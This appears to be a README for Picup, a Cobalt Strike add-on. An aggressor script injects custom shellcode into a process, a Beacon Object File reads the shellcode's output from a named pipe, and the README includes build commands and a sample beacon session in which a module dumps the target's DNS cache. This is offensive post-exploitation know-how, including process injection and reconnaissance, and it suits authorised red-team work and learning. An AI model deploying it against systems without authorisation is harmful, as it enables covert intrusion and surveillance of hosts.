Picup
adds the option to Cobalt Strike to send shellcode output to the console.
First, the aggressor script injects the shellcode with shinject
. The shellcode than starts a Named Pipe to write its output to it. Than the BOF is loaded and conntects to the Named Pipe. There it reads all the data an print it to the console by using BeaconPrintf
.
Of course, the Beacon object files (BOFs) are suitable for this and also far better known and supported, but in my case I wanted to run my own shellcode to get better at C and to learn the concept of position independent code. Maybe there are even some situations where shellcode is the better choice.
nasm -f win64 adjuststack.asm -o adjuststack.o
nasm -f win64 chkstk_ms.asm -o chkstk_ms.o
x86_64-w64-mingw32-gcc dnscache.c -Wall -m64 -ffunction-sections -fno-asynchronous-unwind-tables -nostdlib -fno-ident -O2 -c -o dnscache.o -Wl,-Tlinker.ld,--no-seh
x86_64-w64-mingw32-ld -s adjuststack.o chkstk_ms.o dnscache.o -o dnscache.exe
for i in $(objdump -d dnscache.exe |grep "^ " | cut -f2); do echo -e -n "\x$i"; done > dnscache.bin
or run
bash compile.sh
The BOF.
x86_64-w64-mingw32-gcc -c piper.x64.c -o piper.x64.o
# Clone the repository to your clients Cobalt Strike folder
git clone https://github.com/svnsyn/picup
cd picup
bash compile.sh
beacon> picup dnscache
beacon> picup dnscache
[*] Waiting for module named pipe.
[*] Injecting Module.
[+] host called home, sent: 1106 bytes
[*] Tasked beacon to inject C:\Users\rene\Desktop\cobaltstrike4.5\minject\dnscache.bin into 5088 (x64)
[+] received output:
[+] Pipe closed by module, GLE=233.
[+] received output:
www.gstatic.com
----------------------------------------
A Record: 104.26.3.5
example.org
----------------------------------------
A Record: 93.184.216.34
www.googletagmanager.com
----------------------------------------
A Record: 160.215.147.0
A Record: 142.250.181.232
gbc4.fr.eu.criteo.com
----------------------------------------
A Record: 185.235.84.130
A Record: 185.235.84.116
A Record: 185.235.84.128
A Record: 185.235.84.134
A Record: 185.235.84.118
A Record: 185.235.84.115
pr-bh.ybp.yahoo.com
----------------------------------------
adservice.google.com
----------------------------------------
A Record: 172.217.23.98
ade.googlesyndication.com
[...]
[+] host called home, sent: 3615 bytes
Reads the dns cache of the system like ipconfig /displaydns
would. No network calls are made since the DnsQuery_W are executed with the query option DNS_QUERY_NO_WIRE_QUERY. Resolves DNS-Record to IP address if the entry exists.
- Random or common names for Named Pipes.
- Just use the aggressor script to read from the Named Pipe (like here repo).
- Fix output of IPv6 AAAA Format
- Using other communication methods like Mailslots
- Compare result with
ipconfig /displaydns
- Better formatting of output
- @Hasherezade: This paper
- @ParanoidNinja: This code and this great tutorial: Used
adjuststack.asm
andaddresshunter.h
from it. - Beacon Object Files
- Aggressor Scripts.
- @csandker: One of the best blosposts about Named Pipes I was able to find (with security perspective).
- @Buffleoverflow: This repo was my foundation.
- @MrUn1k0d3r: Really awesome Patreon.
- @thefLink: On of the best sources for learning C (PIC-Style and in general) and I used
chkstk_ms.asm
from it. - React OS: Implementation of ipconfig